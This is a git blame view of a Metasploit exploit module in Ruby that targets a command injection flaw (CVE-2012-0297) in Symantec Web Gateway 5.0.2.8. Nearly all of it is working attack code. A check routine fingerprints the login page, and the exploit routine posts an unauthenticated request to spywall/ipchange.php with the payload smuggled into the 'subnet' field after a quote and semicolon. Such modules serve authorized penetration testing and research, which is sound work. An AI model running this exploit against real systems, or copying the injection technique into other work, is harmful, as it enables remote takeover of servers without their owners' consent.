Files
metasploit-gs/modules/exploits/linux/http/symantec_web_gateway_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

97 lines
2.8 KiB
Ruby
Raw Normal View History

2012-06-10 22:38:58 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-10 22:38:58 +02:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-06-10 22:38:58 +02:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
'Description' => %q{
2012-06-10 22:38:58 +02:00
This module exploits a command injection vulnerability found in Symantec Web
2025-06-20 13:20:44 +01:00
Gateway's HTTP service due to the insecure usage of the exec() function. This module
abuses the spywall/ipchange.php file to execute arbitrary OS commands without
authentication.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # Tenable Network Security, Vulnerability Discovery
2012-06-10 22:38:58 +02:00
'juan vazquez' # Metasploit module
],
2025-06-20 13:20:44 +01:00
'References' => [
2012-06-10 22:38:58 +02:00
[ 'CVE', '2012-0297' ],
[ 'OSVDB', '82925' ],
2012-06-10 22:38:58 +02:00
[ 'BID', '53444' ],
2013-10-21 15:07:07 -05:00
[ 'ZDI', '12-090' ],
2012-06-10 22:38:58 +02:00
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
],
2025-06-20 13:20:44 +01:00
'Payload' => {
2012-06-10 22:38:58 +02:00
'BadChars' => "\x00\x0d\x0a\x26",
2025-06-20 13:20:44 +01:00
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl',
}
2012-06-10 22:38:58 +02:00
},
2025-06-20 13:20:44 +01:00
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [
2012-06-10 22:38:58 +02:00
['Symantec Web Gateway 5.0.2.8', {}],
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'DisclosureDate' => '2012-05-17',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2012-06-10 22:38:58 +02:00
end
def check
res = send_request_raw({
'method' => 'GET',
2025-06-20 13:20:44 +01:00
'uri' => '/spywall/login.php'
2012-06-10 22:38:58 +02:00
})
if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
2013-01-30 23:23:41 -06:00
uri = target_uri.path
2025-06-20 13:20:44 +01:00
uri << '/' if uri[-1, 1] != '/'
2012-06-10 22:38:58 +02:00
peer = "#{rhost}:#{rport}"
post_data = "subnet="
post_data << "\";" + payload.raw + ";#"
2016-02-01 15:12:03 -06:00
print_status("Sending Command injection")
2012-06-10 22:38:58 +02:00
res = send_request_cgi({
'method' => 'POST',
2025-06-20 13:20:44 +01:00
'uri' => normalize_uri(uri, 'spywall/ipchange.php'),
'data' => post_data
2012-06-10 22:38:58 +02:00
})
# If the server doesn't return the default redirection, probably
# something is wrong
if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
2016-02-01 15:12:03 -06:00
print_error("Probably command not executed, aborting!")
2012-06-10 22:38:58 +02:00
return
end
end
end